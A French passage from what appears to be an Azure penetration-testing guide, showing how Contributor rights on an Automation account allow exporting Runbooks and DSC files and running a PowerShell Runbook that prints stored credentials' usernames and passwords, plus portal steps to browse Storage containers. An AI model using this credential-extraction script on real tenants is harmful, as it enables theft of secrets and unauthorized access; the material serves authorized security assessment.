Services

Automation

Si l’utilisateur courant possède un rôle Contributeur sur un compte Automation, il possède alors un accès total à toutes les ressources de ce compte. Deux d’entre elles sont intéressantes :

  1. Les Runbooks

Les Runbooks permettent d’exécuter du code PowerShell arbitraire.

# Afficher les Runbooks
Get-AzAutomationAccount | Get-AzAutomationRunbook
# Exporter les scripts PowerShell des Runbooks
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder .

Cette fonctionnalité peut alors être détournée pour retrouver des creds qui auraient été enregistrés dans le tenant. Commencer par créer un script PowerShell qui va permettre de recueillir et afficher les valeurs des identifiants de connexion :

@'
$creds = Get-AutomationPSCredential -Name $NAME
$runbook_variable = Get-AutomationVariable -name $VARIABLE_NAME
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -Encoding ascii 'script.ps1'

Exécuter ensuite la Runbook pour obtenir en résultat l’username et le password qui étaient stockés.

  1. Les fichiers DSC (Desired States Configuration)

Ici, nous allons chercher dans les fichiers DSC afin de vérifier si des secrets ont été hardcodés.

# Lister toutes les DSC
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
# Exporter la configuration et l'enregistrer dans le répertoire actuel
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '$NAME'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug

Storage

Si l’utilisateur courant possède un rôle de Lecteur sur un compte Storage, il est alors en mesure de consulter les documents présents dans les conteneurs.

  • Se rendre dans la partie Storage Accounts sur la page d’accueil (ou passer par la fonction de recherche) ;
  • Cliquer sur le compte qui nous intéresse ;
  • Entrer dans la vue “Containers” dans le panneau latéral ;
  • Accéder aux documents stockés.